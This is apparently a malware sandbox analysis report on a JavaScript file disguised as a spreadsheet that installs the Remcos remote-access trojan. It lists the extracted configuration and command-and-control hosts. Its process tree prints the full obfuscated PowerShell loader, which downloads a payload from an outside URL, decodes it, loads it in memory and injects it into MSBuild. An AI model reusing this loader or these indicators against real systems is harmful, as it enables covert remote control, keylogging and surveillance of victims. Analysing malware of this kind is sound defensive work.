Overview

overview

10

Static

static

1

Ref-00145_...lsx.js

windows10-2004-x64

10

Ref-00145_...lsx.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/08/2026, 12:09

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Ref-00145_0608026_xlsx.js
  • Size 929KB
  • Sample260806-pbt4eabj3x
  • SHA256 6f69e704739b26996cf7b5513e9e121a622429c6973b4c8fd1144c6f71d6758b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
x64executionremcospersistencerat

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://czd.ru.com/MSI_PRO.png

Extracted

Family

  • remcos

Version

  • 7.2.6 Pro

Botnet

  • X64

C2

  • dentalux202.ydns.eu:58268

  • dentalux202bk.ydns.eu:58798

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-7B2KOZ

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Ref-00145_0608026_xlsx.js
    1⤵
      PID:6016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$guanabenz=''http://czd.ru.com/MSI_PRO.png''; $compossibility = [System.Net.HttpWebRequest]::Create($guanabenz); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''#'',''A'').ToCharArray(); [Array]::Reverse($phassachate); $perforati=$phassachate -join ''''; [byte[]]$hobblingly=[Convert]::FromBase64String($perforati); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''8EG9gC1J5TEur63XGe6JzLHd3XTzL3vpSUYl6L0DUzwuoxpbdG4Vsa0JFPXHCNTNS+ICDDK1FPd82YmPYcrBsQ=='',''g4LpH7nnvtsI92CGEwUi1QGRz6PQTuM9bprs4CECJa8='',''t02MQyHySK/BCsuJBQTQL5iAKFdBbKZI/U2jpFzNXBO9ON+suKaAGOJQDjEcvLLc'',''8Ex0g+QFjaX+/9LaBAW+Bgqj2IcBS8KeXC0fFStzXF0='',''PI4EPdRBBhcYC5W+8Hl85ZiKGS+Mhbyh5aPiz9H3f6g='','''',''nMq5df7ca+f/J+QbAIFIZPd865YWrZvpdHxuXIr0+yc='',''E+6M3s1D2ckrbR97WrH/wYHzLQ/mLTJ8OIevvulmKCw='',''1aVNRaUMqD436CNk425GkWKzYXWFvvPNQ0utH6IWzSA='',''OE110NeVyOdmf/9zxyUL/NG21rkIKB5Sd3lHW4JBlS+vjZjmBemde54HmHzb9syZ'',''JNH+zgfb4QwUh3yxFiSP3o7SAQxUPbXenPujaHckDWA='',''a1xnreLW8utK5OxFL8UuKUnx02nhFIDs3cFC4xggg0w='',''EBMh/oUovlxay0UmeHrW9vBjsmQmv3qhh/ko7NKecIk='',''wjMZwUjLtC7Q2zoPH/oMmawC1b+HrFiIXhJnbx9HxcQ='',''Z+6inf1oxcaBje0vFcskctJEn8KTtA9MQvqHy9hCFCI='',''xgp/7uohO5L0ERkYrXzI6flEYpp1X2uu97dvsT5Ji0g='','''','''','''',''fFDjPtbIw8MfyTtnqqzzaHWPu4ww9akOkmPBfeZK3OU='',''oaGe/0pG6s5nv3yYaX5aZAKAzaUg/PLuvLFXVseWnfE=''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2152
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
        2⤵
          PID:1108
      • C:\Windows\system32\wscript.exe
        wscript.exe
        1⤵
          PID:3440

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              memory/1108-18-0x0000000140000000-0x00000001400AB000-memory.dmp
              Download

              memory/2152-9-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download

              memory/2152-13-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download

              memory/2152-5-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download

              memory/2152-6-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download

              memory/2152-7-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download

              memory/2152-8-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download

              memory/2152-10-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download

              memory/2152-0-0x00007FFAC4E4F000-0x00007FFAC4E50000-memory.dmp
              Download

              memory/2152-4-0x0000024665580000-0x00000246655A2000-memory.dmp
              Download

              memory/2152-11-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download

              memory/2152-12-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download

              memory/2152-14-0x000002467DC40000-0x000002467DCD2000-memory.dmp
              Download

              memory/2152-15-0x00000246655D0000-0x00000246655DA000-memory.dmp
              Download

              memory/2152-16-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download

              memory/2152-17-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download

              memory/2152-1-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download

              memory/2152-20-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download

              memory/2152-21-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp
              Download